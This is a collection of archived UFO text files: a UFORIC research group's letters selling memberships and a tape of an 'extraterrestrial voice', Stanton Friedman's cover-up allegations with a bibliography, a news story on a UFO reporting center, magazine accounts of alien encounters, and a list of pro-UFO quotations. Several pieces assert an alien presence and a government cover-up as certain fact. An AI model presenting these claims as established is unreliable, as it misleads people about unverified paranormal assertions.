======================================================================
(Form Sent to People Inquiring about UFORIC)
Date:
Dear __________________,
Thank you for your request about our organization.
We are a non profit group of professionals who are greatly
interested and keenly determined in solving the U.F.O. mystery
in a methodical, serious manner.
Aside from our 24 HOUR NEWS SERVICE, we do on-going
investigations and on-site inspections. We depend on public
support in order to keep this organization in existence.
We are offering yearly club memberships. For $20.00 you
will receive a UFORIC membership card and interesting mailings
on the subject every month. Another $2.00 will get you a
catalogue of many U.F.O. magazines and books available from us
dating as far back as 1957 up to present time.
Kindly send a postal money order (money orders only please)
to Lorne Goldfeather, Dept. 25 - 1665 Robson St., Vancouver, B.C.,
V6G 3C2, Canada.
We look forward to hearing from you. Any further donation
will also be greatly appreciated. We intend to grow as an
established and respected institution worldwide with your help.
Yours Truly,
Lorne Goldfeather,
Director UFORIC
===================================================================
===================================================================
To Whom It May Concern
UFORIC - U.F.O. Research Institute of Canada is pleased to
announce its services to the civilian, medical, governmental, police
and military communities.
We maintain a 24 hour REPORTING AND NEWS DISSEMINATION SERVICE
on our HOTLINE. All incoming calls and information disclosed to us
is held in strictest confidence, never leaving the office of the
director or shown to others without the expressed permission of the
confidant.
As a non-profit organization, we depend on contributions to
maintain our services as well as doing on-site research with
monitoring equipment. Any donations of $20.00 and over will entitle
you to club membership for one year. Every month you will receive
material in the mail on the U.F.O. phenomena.
Our government has had two official documented studies on
the subject of flying saucers. They even set up an observation
post with electromagnetic detectors at Shirley Bay in the province
of Ontario. Canada now has an astronomical data collection agency
in Victoria, British Columbia.
An item we are currently offering consists of two interesting
recordings on one audio tape. The first part consists of a live
conversation recorded by American BASE COMMANDER HALT at Woodbridge,
England. Halt, Lieutenant Bruce Englund, Major Zickler and Sergeant
Nevells were taking radiation readings at a landing site in a forest
close by. Suddenly they saw several U.F.O.s fly near them and they
became very frightened. Former Woodbridge Base Commander Colonel
Sam Morgan released the audiotape to British Solicitor Harry Harris
in 1984.
Following this, we have inserted a completely different
recording of what we believe to be an extraterrestrial voice
pleading for help four times. This tape came to us during our
research of a family who on several occasions encountered U.F.O.s.
The father is a prominent local businessman. His wife made a
recording on audio tape which she planned to send to friends in
Australia. After finishing she played it back and was disappointed
to find distortions in her voice throughout the tape. Strangely
it was only in the parts where she spoke about U.F.O.s Her husband
made a HIGH SPEED DUBBING, and oddly enough, it came out with her
voice in slow motion overlaid by another eerie voice pleading for
help four times. At this time we are trying to determine if it
has voice print.
We will send you these recordings, one audio cassette
for $15 (Money order). Please send postal money orders to:
Lorne Goldfeather, Dept. 25 - 1665 Robson St., Vancouver, B.C.,
V6G 3C2, Canada.
====================================================================
====================================================================


219
textfiles.com/ufo/ufos.txt Normal file
View File

@@ -0,0 +1,219 @@
From usc!ginosko!uunet!zephyr.ens.tek.com!orca!tolkien.WV.TEK.COM!keithr Mon Sep 11 14:31:40 PDT 198
US Government UFO cover-up? You betcha!!
The following is my typescript of an information sheet issued by Stanton
Friedman, one of the top ten UFO researchers in the US (and Canada).
He has done extensive research on the MJ-12 Eisenhower
presidential briefing document and the background of the people
named in the document. He is also the principal researcher of the
Roswell saucer crash along with Bill Moore.
For those of you who want a science fiction/fantasy conspiracy
that's true, try the saucer stuff. For those few of you inclined to do
a little original research, just call up Friedman himself. But do
yourself a favor first and get a little background. See the "Partial
UFO Bibliography" at the end of this posting for a start on your UFO
education. Start with the starred (**) books first.
******************************************************
Stanton T. Friedman
NUCLEAR PHYSICIST - LECTURER
79 PEMBROKE CRESCENT
FREDERICTON, NEW BRUNSWICK E3B 2V1
CANADA
(506) 457-0232
The US Government Coverup of UFO Information Dec. 18, 1988,
Stanton T. Friedman
There is simply no way any rational person can deny that the
US Government has been officially withholding data about UFOs for
many years. The facts speak for themselves to anyone willing to
listen. There are many trails leading to exactly the same conclusion.
One, of many, deals with the role of the National Security Agency
(NSA).
About a decade ago a Freedom of Information (FOI) request by
Citizens Against UFO Secrecy to the CIA elicited the response that
the CIA had no information about UFOs. An appeal was denied, but a
court action forced the CIA to do a document search. Eventually they
released more than 900 pages of mildly interesting UFO information
(nothing classified above SECRET) and containing internal references
to many other unreleased UFO documents. Perhaps of greater
importance than what was released, was a list of 57 unreleasable
UFO documents in the CIA files, but originating with many other
intelligence agencies. Of greatest interest were the 18 UFO
documents originating with the NSA.
An FOI request to the NSA for their 18 UFO documents was
completely rejected on grounds of national security. An appeal was
denied and a Federal Court action followed. The NSA kept citing the
need to protect "sources and methods" data protected by law and
CAUS kept responding that it was only interested in the UFO portions
of the documents. The judge requested a search and was eventually
notified by the NSA lawyer that the NSA had found 239 UFO
documents (not just the 18 referenced by the CIA). However, 79 of
these 239 Classified UFO documents originated with other agencies
including 23 UFO documents from the CIA. However, the NSA refused
to release 156 of their own 160 UFO documents and also refused to
provide them to the federal judge [Gearhart Gesell] for his review to
determine if national security was being correctly invoked. Instead
the NSA provided him (not the CAUS attorney) a TOP SECRET +++++
21 page affidavit *in camera* justifying withholding the NSA UFO
documents. Judge Gesell (and a subsequent 3 judge Federal Court of
Appeals Tribunal) was so impressed with the affidavit, that it was
cited in his ruling rejecting the CAUS suit. A copy of the affidavit
was eventually obtained under FOI, but is more than 75% expurgated.
I filed an FOI request for the 23 CIA UFO documents noted by
the NSA. After 35 months they released 9 (all abstracts of Eastern
European newspaper articles about UFOs!!) but refused to release
their own 14 UFO documents. I have appealed and will probably hear
by 1991.
Since the primary role of the NSA is supposed to be
interception of foreign military communications (with an annual
"black" budget of about $10 billion) by worldwide listening posts, it
certainly seems clear that the intercepts (all predating 1980) are of
military communication about probably significant foreign military
UFO sightings, encounters, etc. For example, a former NSA employee
described to me the monitoring of a daylight encounter between two
Cuban Air Force MIG-21 interceptors and a UFO resulting in the
destruction of the lead plane which intended to shoot down the
intruding UFO.
I have, of course, frequently challenged Philip J. Klass, who
maintains there cannot be any government secrecy about UFOs, to
provide copies of any of the 156 TOP SECRET +++ NSA UFO
documents, or a much less expurgated version of the affidavit. In 5
years despite his constant claim of no coverup, he has provided none
of the 156 documents or a cleaner affidavit.
There are many other instances of US government agencies
withholding UFO documents even though approximately 6000 pages
have been received from a host of agencies. The USAF Office of
Special Investigations (OSI) has even gone so far as to instruct its
many units NOT to follow official regulations when they respond to a
UFO FOI request from me. No rational person can claim there is no
official US government coverup of UFO data. To suggest, as Klass
has repeatedly, that because Nixon could not coverup Watergate (a
political problem) the US government could not maintain secrecy
about as vital a national security problem as the intrusion of US
airspace by advanced alien spacecraft at least one of which has
crashed and been recovered by the US government [the July 1947
Roswell, NM incident], is absurd. I am also intrigued by the fact that
the FBI refuses to release to me my SECRET file or even tell me how
many pages are in it or the time period covered, though Bill Moore
[author of The Roswell Incident] was shown censored portions of 5
of his 61 pages!
******************************************************
Partial UFO Bibliography
**Berlitz, Charles and William L. Moore. The Roswell Incident. New
York: Grosset & Dunlap, 1980. 168pp. ISBN 0-448-21199-8.
**Butler, Brenda, Dot Street, and Jenny Randles. Sky Crash: A
Cosmic Conspiracy. Sudbury, Great Britain: Neville Spearman, 1984.
283pp. ISBN 85435-155-8.
Condon, Edward U. and Daniel S. Gillmor (ed.). Final Report of the
Scientific Study of Unidentified Flying Objects (Conducted by the
University of Colorado Under Contract to the United States Air
Force). New York: Bantam Books, 1968. 965pp.
Davidson, Leon. Flying Saucers: An Analysis of the Air Force Blue
Book Special Report No. 14 Including The C.I.A. and the Saucers.
White Plains, New York: Privately printed by Leon Davidson, 1976.
84pp.
Eberhart, George M. UFOs and the Extraterrestrial Contact Movement:
a bibliography. Metuchen, NJ: Scarecrow Press, 1986. 1298pp. ISBN
0-8108-1919-8.
Evans, Hilary and John Spencer (eds.). UFOs: 1947-1987 -- The 40-
Year Search for an Explanation. London: Fortean Tomes, 1987. 384pp.
ISBN 1-870021-02-9.
**Fawcett, Lawrence and Barry J. Greenwood. Clear Intent: The
Government Coverup of the UFO Experience. Englewood Cliffs, N.J.:
Prentice-Hall, 1984. 259pp. ISBN 0-13-136656-4.
Fuller, John G. Aliens in the Skies: The Scientific Rebuttal to the
Condon Committee Report. New York: G. P. Putnam, 1969. 219pp.
**Good, Timothy. Above Top Secret: The Worldwide UFO Cover-Up.
New York: William Morrow, 1988. 592pp. ISBN 0-688-07860-5.
Hendry, Allan. The UFO Handbook: A Guide to Investigating,
Evaluating, and Reporting UFO Sightings. Garden City, NY: Doubleday
(Dolphin), 1979. 297pp. ISBN 0-385-14348-6.
**Jacobs, David Michael. The UFO Controversy in America.
Bloomington, IN: Indiana University Press, 1975. 362pp. ISBN 0-
253-19006-1.
Keyhoe, Donald E. The Flying Saucer Conspiracy. New York: Henry
Holt, 1955. 315pp. ISBN LC 55-7918.
Lorenzen, Coral and Jim Lorenzen. Encounters with UFO Occupants.
New York: Berkley, 1976. 424pp. ISBN 425-03093-8.
Randles, Jenny and Peter Warrington. Science and the UFOs. Oxford,
U.K.: Basil Blackwell, 1985. 215pp. ISBN 0-631-13563-4.
**Randles, Jenny. The UFO Conspiracy: The First Forty Years. New
York: Blanford Press, 1987. 224pp. ISBN 0-7137-1972-9.
Sagan, Carl and Thorton Page, eds. UFO's -- A Scientific Debate. New
York: Norton, 1972. 310pp. ISBN 0-393-00739-1.
**Saunders, David R. and R. Roger Harkins. UFOs? Yes! Where the
Condon Committee Went Wrong. New York: New American Library
(Signet), 1968. 256pp. ISBN LC 68-59202.
Story, Ronald D. UFOs and the Limits of Science. New York: William
Morrow, 1981. 290pp. ISBN 0-688-00144-0.
Story, Ronald, ed. The Encyclopedia of UFOs. Garden City, NY:
Doubleday (Dolphin Books), 1980. 440pp. ISBN 0-385-11681-0.
Strentz, Herbert J. A Survey of Press Coverage of Unidentified
Flying Objects, 1947 - 1966. Evanston, IL: Arcturus Book Service,
1982. 341pp.
Stringfield, Leonard H. Situation Red: The UFO Siege!. New York:
Fawcett-Crest Books, 1977. 254pp. ISBN 0-449-23654-4.
Vallee, Jacques and Janine Vallee. Challenge to Science: The UFO
Enigma. New York: Ace Books, 1966. 256pp. ISBN .
Vallee, Jacques. Anatomy of a Phenomenon: Unidentified Objects in
Space -- A Scientific Appraisal. New York: Ballantine Books, 1974.
227pp. ISBN 345-24287-4-150.
-Keith Rowell, Tektronix, Wilsonville, OR keithr@orca.WV.TEK.COM
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X
Another file downloaded from: NIRVANAnet(tm)
& the Temple of the Screaming Electron Jeff Hunter 510-935-5845
Rat Head Ratsnatcher 510-524-3649
Burn This Flag Zardoz 408-363-9766
realitycheck Poindexter Fortran 415-567-7043
Lies Unlimited Mick Freen 415-583-4102
Specializing in conversations, obscure information, high explosives,
arcane knowledge, political extremism, diversive sexuality,
insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS.
Full access for first-time callers. We don't want to know who you are,
where you live, or what your phone number is. We are not Big Brother.
"Raw Data for Raw Nerves"
X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X

44
textfiles.com/ufo/ufowatch.ufo Normal file
View File

@@ -0,0 +1,44 @@
SEATTLE (AP) -- Robert Gribble has never seen a UFO himself, but he
believes others who say they have and has investigated thousands of UFO
sightings for about 30 years.
Gribble runs the National UFO Reporting Center from a cramped but
tidy office in his home.
"Even though I've never seen one, there's not the slightest doubt
they're there," said Gribble, a retired firefighter recognized as one
of the country's foremost authorities on unidentified flying objects.
"Either that or we've got a lot of notorious liars from all around
the globe," he said.
He pays $1,200 a year from his own pocket to keep the center open
and fields an average six calls a day from people who think they have
seen unidentified flying objects.
All seek an explanation. Gribble records their comments, asks
questions and takes their telephone numbers in case he gets additional
information.
"If people realize we are not alone -- as we have been taught for
hundreds of years -- man's outlook as to how we treat each other would
change," he said. "Now we think of ourselves as citizens of the U.S.
If we thought of ourselves as citizens of the planet Earth, things
would change for the better."
Gribble's office contains a large map of the United States studded
with 3,500 shiny red pinheads, each representing a so-called close
encounter sighting of a UFO. Some of the sightings date from 1946.
A witness must be within 500 yards of an object to classify as a
close encounter.
Gribble said he wasn't surprised by the recent UFO report of a
veteran Japan Air Lines pilot who said his plane was followed for
nearly 400 miles over Alaska by one gigantic and two smaller aircraft
in mid-November.
The Federal Aviation Administration later confirmed that an air
traffic controller spotted the unknown aircraft. But agency spokesmen
say their investigation has been hampered by a radar recording's
failure to show the aircraft's signal.
From the thousands of calls he has investigated over the years,
Gribble says most of the craft are described as disc-shaped, spherical,
oval, triangular or cigar-shaped. People reporting close encounters
say a humming sound emanates from the object.
The government is covering up the existence of UFOs to prevent
panic, said Gribble, who cites as evidence his own research and reports
from declassified government documents


205
textfiles.com/ufo/unex0002.txt Normal file
View File

@@ -0,0 +1,205 @@
From "The Unexplained" #2.
Orbis Publishing, Great Britain.
WHO ARE THE HUMANOIDS
MANY PEOPLE CLAIM TO HAVE MET THE OCCUPANTS OF UFOs; BUT
ACCOUNTS OF HUMANOIDS' BEHAVIOUR AND APPEARANCE SEEM STRANGELY
INCONSISTENT
The sighting of nine unusual flying craft in Washington
State, USA, by American airman Kenneth Arnold in June 1947,
marked the advent of modern publicity for the "flying saucer"
or UFO phenomenon. The frequently reported ultra-high speeds
and breath-taking manoeuvrability of the objects inevitably led
to speculation by observers, newsmen and the public alike that
what was being witnessed were intrusions into our airspace by
extra-terrestrial visitors - beings from outer space. And, as
the behaviour of these objects seemed to indicate superior
technology and its fluent control, the big question was: control
by whom, or by what?
The question was not quickly resolved, however, for although
the phenomenon was so persistent that the US Air Force set up
an investigatory unit (Project Blue Book), officialdom did not
appear to want to know the answer. By 1952, many accounts of
sightings and even landings had been filed with the Project;
but in his book 'The Report on UFOs', Blue Book's commanding
officer, Captain Edward Ruppelt, stated he had been plagued by
reports of landings and that his team had conscientiously
ignored them.
There are, however, always those whose sense of wonder
overcomes official intransigence. Groups of doggedly inquisitive
civilian researchers drifted together and, the limits of their
slender resources, they gathered and recorded information from
all around the world. Among them were people like Aime Michel
and Jaques Vallee from France (Vallee subsequently lived and
worked in the USA); Coral and Jim Lorenzen and their Aerial
Phenomena Research Organisation (APRO) in Arizona; Len
Stringfield in Ohio; Major Donald Keyhoe's National
Investigations Committee on Aerial Phenomena (NICAP) in
Washington DC (who, like Ruppelt, were at first none too happy
about the many landing reports) and, in Britain, the supporters
of the 'Flying Saucer Review'.
ALIEN PHENOMENON
From the impressive body of evidence collected by these
veterans, and others, it is quite obvious now that the
occupants of UFOs constitute a phenomenon in their own right.
Indeed, the shapes, sizes, appearance and behaviour of these
'pilots', as reported by their alleged observers, are often
quite extraordinary. Out of the thousands of reported
sightings, no coherent picture emerges of their nature and
intentions, however, and their actions seldom seem to be
related to any kind of organised surveillance of our planet.
Sometimes, sightings of these aliens are even reported without
the apparent presence of a UFO.
From 1947 to 1952, while the reality of UFOs and their
occupants was often the subject of heated debate, allegedly
man-like creatures had already been observed either close to,
or actually in, UFOs in widely different parts of the world.
BRAZILLIAN LANDING
At Bauru, in the state of Sao Paulo, Brazil, on 23 July
1947, for instance, - less than a month after Kenneth Arnold's
aerial encounter near Mount Rainier - a survey worker named
Jose Higgins, and several of his fellow workers, saw a large
metallic disc come to earth and settle down on curved legs.
Higgins stood his ground while his his colleagues fled, and
he soon found himself face to face with three 7-foot (2.1
metres) tall beings, all wearing transparent overalls with
metal boxes on their backs. One entity pointed a tube at him
and moved as though to apprehend him. But Higgins dodged the
creature and observed that it was shy of following him into the
sunlight.
The creatures had large bald heads, big round eyes, no
eyebrows or beards and long legs. They leapt and gambolled,
picking up and tossing huge boulders about. They also made
holes in the ground, perhaps trying to indicate what could have
been the positions of planets around the sun, and pointing
particularly to the seventh hole from the centre. (Could that
seventh 'planet' signify Uranus?) The creatures then re-entered
their craft, which took off with a whistling noise. Higgins
subsequent account appeared in two Brazillian newspapers.
Three weeks later, far away in north-eastern Italy, a
Professor Johannis was on a mountain walk on 14 August 1947,
near Villa Santina, Carni, in the province of Friuli, when he
suddenly saw a red metallic disc in a rocky cleft and emerged
from trees to look at it. He then noticed that two dwarf-like
creatures were following him, moving with tiny strides, hands
perfectly motionless at their sides, and heads still. As they
came nearer, Johannis' strength failed him: he seemed
paralysed.
The little beings - less than 3 feet (1 metre) tall - wore
translucent blue coveralls, with red collars and belts. The
witness could detect no hair, but he described their facial
skin colour as 'earthy green'. He also noted straight noses,
slits for mouths that opened and closed like fishes' mouths,
and large round, protruding eyes.
Johannis says he shouted to them on an impulse and waved his
alpine pick, whereupon one dwarf raised a hand to his belt, the
centre of which apparently emitted a puff of smoke. The pick
flew out of Johannis' hand, and he fell flat on his back. One
entity then retrieved the pick, and the pair retreated to the
disc, which soon shot up, hovered briefly over the
panic-stricken professor, and then suddenly seemed to shrink
and vanish.
CRASH LANDING
On 19 August 1949, in Death Valley, California, two
prospectors saw the apparent crash-landing of a disc. Two small
beings emerged and were chased by the prospectors until the
aliens were lost among sand dunes. But when the two men
returned their site, the disc-shaped object had gone.
Argentine rancher Wilfredo Arevalo saw one 'aluminium' disc
land while another hovered over it on 18 March 1950. The object
that landed was surrounded by a greenish-blue vapour, and in
its centre was a transparent cabin in which Arevalo saw 'four
tall, well-shaped men dressed in Cellophane-like clothing'.
They shone a beam of light at the rancher, the disc glowed a
brighter blue, flames shot from the base, and it rose from the
ground. The two objects then disappeared swiftly towards the
Chilean border.
Such reports seemed to promise interesting meterial for
future investigation. but did not appear to indicate a serious
threat of alien ('take me to your leader') invasion. There was,
too, an official reluctance even to consider landing reports,
which were said to be flooding in, due possibly to a fear of
being swamped with crazy stories of 'little green men', which
might well have become ready targets for ridicule in the media.
(Serious researchers eventually coined the term 'humanoids')
Back in 1953, however, something happened that shocked most
serious-minded investigators, for it was in that year that a
certain George Adamski broke in on the UFO scene with a book
co-authored with Desmond Leslie - 'Flying Saucers Have Landed'.
In this controversial title, Adamski claimed to have conversed
with a being from a flying saucer and to have taken
photographs of the craft. The book rapidly became a bestseller
and was a boon to those early serious researchers - although
they would never admit it - in that it brought to thousands of
casual readers an interest in ufology.
George Adamski (1891 - 1965) was an amateur astronomer who
operated Newtonian reflector telescopes from his home at
Palomar Gardens, California. he developed an obsessive interest
in flying saucer reports, frequently claimed to have seen the
objects and to have photographed them telescopically - as on 5
March 1951, when he captured on film a giant cigar-shaped
object surrounded by emerging scout craft, and on 1 May 1952,
when he took a picture of another giant cigar-shaped 'mother
ship'. Then, on 20 November 1952, with a small party of
friends, Adamski was driven out to a place just off the road to
Parker, in Arizona. The purpose of the trip was to look for,
and then possibly to photograph, UFOs.
VENUSIAN VISITOR
A 6-inch (15-centimetre) protable telescope was set up at a
convenient place and Adamski settled down to wait, while his
companions retreated to watch from a distance. Before long, he
said, he was rewarded with the sight of an object landing among
the hills before him, and he photographed it at long range
before it disappeared.
A 'person' then appeared and approached him. The stranger
was about 5 feet 6 inches (1.7 metres) tall, wore ski-suit type
clothing and had long hair down to his shoulders. There was an
aura of friendliness about him, and Adamski said that they were
able to communicate telepathically about many things, the
visitor specifically indicating that he came from Venus.
The stranger's 'scout craft' then turned up and, refusing
Adamski's request for a ride, the 'Venusian' departed, taking
one of Adamski's film plate-holders with him. The ufonaut left
footprints in the sand, and a member of the party produced
plaster of Paris to make casts of the imprints.
On 13 December 1952, the Venusian returned to Earth,
bringing back the plate-holder, and it was then, so Adamski
claims, that he took close-up pictures of the craft.
In his second book, 'Inside the Space Ships', Adamski stated
that he finally made that trip - round the Moon - and that a
space companion had pointed out the rivers on the unseen far
side.
All of this seems to indicate that Adamski was not telling
the truth, or perhaps that he had been deliberately misled by
entities that had a vested interest in spreading a little
confusion on Earth. Then again, perhaps the story Adamski told
was real enough to him.
****End****

248
textfiles.com/ufo/unex0011.txt Normal file
View File

@@ -0,0 +1,248 @@
From ~The Unexplained~ #11.
Orbis Publishing, Great Britain.
THE FISHERMAN'S TALE
The account of a close encounter that follows is one of the
classics of UFO literature - and deservedly so, if the story
told by the witnesses is true. But is it? The case is typical
of many UFO reports: there were few witnesses, the bulk of the
information coming from one man, as the second witness lost
conciousness at the beginning of the incident. In such
circumstances, even when sophisticated techniques, such as lie
detector tests, are used, only the personal integrity of the
witnesses can substantiate their story.
The six-month period from October 1973 to March 1974 was a
remarkable one for UFO sightings, particularly in the United
States, north-west Europe, Italy and Spain. One of the most
outstanding reports in the USA came from Pascagoula, county town
of Jackson County, in the state of Mississippi. This town, with
a population of just under 30,000 at the time, is situated at
the south [mouth?] of the Pascagoula River on the coast of the
Gulf of Mexico, about 100 miles (160 kilometres) to the east of
New Orleans.
There were two witnesses, both of whom worked locally at the
Walker Shipyard: Charles E. Hickson aged 45, a foreman, and
Calvin R. Parker Jr, 18, who alleged that, on 11 October 1973,
they experienced a close encounter with a UFO and its
occupants, and subsequent abduction, while fishing from the
pier of the Shaupeter shipyard on the Pascagoula River.
It was about 9 p.m. when Hickson turned to get fresh bait.
He says it was then that he heard a 'zipping' noise. Looking
up, he saw an elongated, oval, bluish-grey craft, which in a
later interview he was to refer to as 'a spacecraft'. It had
very bright, flashing, 'blue-looking' lights. This object was
hovering some 2 feet (60 centimetres) off the ground; and when
the next move came, the witness was a trifle puzzled, for he
said: 'it seemed to open up, but really there wasn't a door
there at all ... and three creatures came FLOATING OUT towards
us. I was so scared, I couldn't believe it was happening'.
The creatures were said to be pale, 'ghost-like', and about
5 feet (1.5 metres) tall. Their skin seemed to be wrinkled, and
was a greyish colour, while in place of hands they had
'crab-like claws' or pincers. According to the witness's first
report, these entities may have had slits for eyes, but he did
not see them. They did have two small cone-shaped ears and a
small pointed nose, with a hole below in the place of a mouth.
They approached the two flabbergasted fishermen and floated
just off the ground without moving their legs. A buzzing noise
was heard from one of them and , said Hickson, 'they were on
us before we knew it'. The older man was paralysed with fear,
and Parker passed out when, apparently, he was touched by one
of the creatures.
Meanwhile, two of the entities lifted Hickson from the
ground, and they glided motionless into the craft. Hickson
claims he had lost all sensation of feeling and weight. He was
taken into a very brighly lit room which, however, had no
visible light fixtures. His friend was led into another room by
the third entity. Hickson says he was placed in a reclining
position and suspended in such a way that he did not touch any
part of the craft. His limbs were completely paralysed; only
his eyes were free to move. An instrument that looked like a
big eye floated freely backards and forwards about 9 inches (25
centimetres) above his body, and the creatures turned him so
that all parts of his body came under the instrument's
scrutiny. After some time, Hickson was guided back outside the
craft and was 'floated', together with Parker, back to his
position on the pier, landing upright on his feet. He says he
was so weak-kneed that he fell over.
Calvin Parker was unconscious throughout the incident, so
all the evidence comes from Charlie Hickson. In his first
interview, he said the UFO was about 10 feet (3 metres) wide,
and something like 8 feet (2.5 metres) high. When it left, he
said, it disappeared from sight in less than a second. The
occupants were like robots; they 'acted like they had a
specific thing to do, and they did it. They didn't try to
communicate with us... I know now that they didn't intend to
hurt us physically, but I feared they were going to take us
away. I would like to emphasise that they didn't mean us any
harm'.
That statement was made in an interview with the Mississippi
Press a week after the incident. On the day of the encounter,
Hickson and Parker had called at the paper's offices, and found
them closed. They then went to the sheriff's office, at 11
p.m., to make a report. Richard W. Heiden gave details of what
took place in a report to Flying Saucer Review. Sheriff Fred
Diamond and Captain Glen Ryder interrogated the witnesses,
doing everything they could to break the stories, but to no
avail. Ryder commented: 'If they were lying to me, they should
be in Hollywood'. The interviews were taped. Then the two
officers left the witnesses alone and unaware that the recorder
was still running. They spoke agitatedly about their
experience, and Calvin Parker was so emotionally overcome that
he started praying when Hickson left the room. The sheriff was
convinced the two fishermen were telling the truth.
Next morning - Friday 12 October - detective Tom Huntley
from the sheriff's office drove Hickson and Parker to Keesler
Air Force Base at Biloxi, Mississippi, where they were checked
for radiation. There was no evidence of contamination. While
there, they gave details of their experience to the head of
intelligence at the base, who 'acted as though he'd heard it
all before!' [I find this statement very interesting, as
similar comments pop up time after time in UFO sightings that
are reported to Air Force personnel. MW.]
On Sunday, 14 October, the witnesses were interviewed by Dr
J. Allen Hynek of Northwestern University, Evanston, Illinois,
former civil scientific consultant on UFO reports to the US Air
Force, and Dr James Harder of the University of California,
Berkeley. Dr Harder hypnotised the men individually, regressing
them to the time of the experience. They each relived the
terror of the occasion to such an extent that Dr Harder said:
'The experience they underwent was indeed a real one. A very
strong feeling of terror is practically impossible to fake
under hypnosis'. Dr Hynek was more reserved: 'There is no
question in my mind that these men have had a very terrifying
experience'.
On 30 October, Hickson - but not Parker who was apparently
suffering from a nervous breakdown - underwent a polygraph
examination (lie detector test) at the Pendleton Detective
Agency in New Orleans. It was reported that the polygraph
operator, Scott Glasgow, was forced to admit after 2-1/2 hours
of exhaustive tests that Hickson was telling the truth.
If this is true, it was a very strange remark for a
polygraph operator to make. Polygraph tests are not sufficient
to establish that a subject is lying; and any polygraph
operator would have been well aware of this. In his book UFOs
Explained, Philip J. Klass claims that his own investigations
have shown that Scott Glasgow was not, in fact, qualified as a
polygraph operator. So it seems that, in spite of the newspaper
publicity given to the fact that Hickson's story stood up to
the lie detector test, it must remain inconclusive.
Hickson's experiences brought him considerable publicity; he
appeared on television shows and even wrote a book. But
unfortunately, his story often changed in the telling.
Originally, for instance, he claimed that the UFO was some 10
feet (3 metres) long; but in subsequent interviews, he said it
was 20 or 30 feet (7 or 10 metres) long - quite a difference.
Hickson's descriptions of the alien creatures also varied on
different occasions. In his original account, Hickson claimed
they had two small, cone-like ears, possibly slits where the
eyes should have been, and a small sharp nose with a hole below
it. Later, again on a television show, he said there were no
eyes and that the hole below the nose was a slit. And more than
a month after the incident, he disclosed for the first time
that the light inside the spacecraft had been so bright that he
had suffered severe eye injury, which had persisted for about
three days.
These discrepancies, of course, tend to cast doubt upon the
entire story - although they do not disprove it. But there are
reports that possibly corroborate the evidence. Although no one
but Hickson and Parker saw the UFO - despite the fact that the
incident happened close to Highway 90, a busy road - many
owners of television sets in the Pascagoula area reported
interference.
On the same day, 11 October, 450 miles (700 kilometres) away
near Hartwell, Georgia, a former Methodist minister was
driving along when he saw a UFO land on the road in front of
him. He also saw silver-suited, white-haired occupants.
On the same night, too, Police Chief Greenshaw of Falkville,
Alabama, was telephoned by a woman who claimed that a
'spaceship' had landed in a field near her house. He raced to
the location, armed with a Polaroid camera. There was nothing
at the alleged site, but Greenshaw said he was confronted by a
silver-suited creature on a side road. he took four Polaroid
shots - which indeed show a silvery creature, obligingly
turning to face the camera. The entity bolted, and Greenshaw
gave chase in his patrol car, but failed to catch up with it -
an inconclusive end to intriguing series of events.
****End****
Here's the entry on the same case taken from 'The UFO
Encyclopedia', compiled and edited by John Spencer;
PASCAGOULA, MISSISSIPPI
October of 1973 saw an extraordinary wave of UFO sightings
across America but none so incredible as that of the abduction
of shipyard workers Charles Hickson and Calvin Parker.
It was seven o'clock in the evening of 12 October [Hmmm..]
when the pair were fishing from a pier at the Shaupeter
shipyard. Suddenly they realised that there was something
behind them - a machine making a buzzing noise. They saw an
oval-shaped object with a blue light on it just behind them.
The witnesses watched as a hatchway opened in the object and
three bizarre entities floated out.
As Hickson described it: 'They didn't have clothes. But they
had feet shape ... it was more or less a round like thing on a
leg, if you'd call it a leg ... I was scared to death. And me
with the spinning reel out there - it's all I had. I couldn't,
well, I was so scared, well, you can't imagine. Calvin done
went hysterical on me.'
The entities were described as ghostlike and pale with
wrinkled skin, and conical projections where nose and ears
would normally be.
Using crab-like pincers they apparently floated Hickson into
the UFO. Parker had fainted. (Though there is some suggestion
that in fact he, too, was conscious when they abducted him, his
hypnotic recall is unclear on the point.) Inside the craft
Hickson could not move though he believes he remained
conscious. Hickson does not clearly remember leaving the craft
but eventually found himself on the dock with Parker who was
looking very agitated.
The UFO is described as something around eight feet tall and
oblong, with an opening in one end and a blue light outside.
Inside it was bright but with no obvious source of lighting.
While inside the object, Hickson was examined by a 'roving eye'
type of machine.
I spoke to Hickson in July 1990 and he confirmed that there
had been many other strange occurrences to himself and his
family in the years since and that he was assisting
investigators with research to help make sense of the data.
In 1987 he stated: 'I was offered all kinds of money to let
them do a movie. I declined. I am still declining. Making money
is not what this experience is all about.'
Witness credibility is very important in such cases; when I
met and spoke to Hickson and his son in 1990, I was instantly
impressed by their obvious sincerity and honesty.
****End****
It is interesting to note that Hynek doesn't include this
incident in his book - 'The UFO Experience - A Scientific
Inquiry', choosing instead - and rightly so - to include cases
with a higher 'credibility rating'. (meaning more witnesses)
M.

227
textfiles.com/ufo/unknown.ufo Normal file
View File

@@ -0,0 +1,227 @@
SOURCE : CUFON Computer UFO Network
SUBJECT: Unidentified Flying Objects
POSSIBLE FORGOTTEN OR UNKNOWN INFORMATION
-------------------------------------------------------------------------------
1. I can assure you the flying saucers, given that they exist, are not
constructed by any power on earth. President Harry S. Truman - Press
conference, Washington DC, April 4, 1950.
2. Based upon unreliable and unscientific surmises as data, the Air Force
develops elaborate statistical findings which seem impressive to the
uninitiated public unschooled in the fallaciec of the statistical method.
One must conclude that the highly publicized Air Force pronouncements
based upon unsound statistics serve merely to misrepreent the true
character of the UFO phenomena. Yale Scientific Magazine (Yale University)
Volume XXXVII, Number 7, April 1963
3. I feel that the Air Force has not been giving out all the available
information on the Unidentified Flying Objects. You cannot disregard so
many unimpeachable sources. John W. McCormack, Speaker of the House of
Representatives of the United States. January 1965
4. I have absolutely no idea where the UFO's come from or how they are
operated, but after ten years of research, I know they are something from
ourside our atmosphere. Dr. James E. McDonald, Professor of Atmospheric
physics, University of Arizona. 1967.
5. I've been convinced for a long time that the flying saucers are real and
interplanetary. Another words we are being watched by beings from outer
space. Albert M. Chop, deputy public relations director, National
Aeronautics and Space Administration, and former United States Air Force
spokesman for Project Blue Book.
6. The least improbable explanation is that these things UFO's are artificial
and controlled. My opinion for some time has been that they have an
extraterrestrial origin. Dr. Maurice Bilot, one of the world's leading
aerodynamicists and mathematical physicists. Life, April 7, 1952
